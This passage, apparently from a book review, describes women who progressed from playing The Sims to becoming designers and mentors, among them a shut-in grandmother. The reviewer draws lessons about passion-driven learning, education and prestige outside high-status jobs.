underutilize technology and are, indeed, frightened by it as authorities ban Internet sites, mobile devices, and games in an age where almost all deep learning recruits technology
treat students as consumers, and often passive ones at that, in an age when young people produce, design, modify, and make choices in their popular culture

The women discussed in the book are said to go beyond the game. They start out as players, but then find a passion that leads them to become producers and mentors.

For example, one case study described a shut-in grandmother whose only portal to the outside world was the Internet. When her granddaughter wanted a purple potty in the Sims game they played together, she had to learn how to make one — there weren't any ready-made purple potties available. From there she became a renowned Sims designer and valuable community member as she helped others hone their skills.

While what these women do may sound simple to technologists, it really does demonstrate the kind of learning that we wish students would do in the classroom. If only students could find a passion that would drive their desire to gain all the tools needed to solve the problems that mattered to them.

One of the most interesting takeaways from this book was, for me, the idea that not everyone will have a high prestige job in the knowledge market. That's just not the way the world works - we need service workers just as much as need engineers. But despite the fact that many jobs available may not be considered prestigious, members of society can gain prestige in other ways (even as a world renowned designer in the Sims creation communities). I love that technology can give meaning to the life of anyone who wants to take advantage of it.

I recommend this book to anyone who wants to think about different models of education and gain insight into how people use games beyond a form of entertainment. The stories of the women they studied are also interesting in themselves.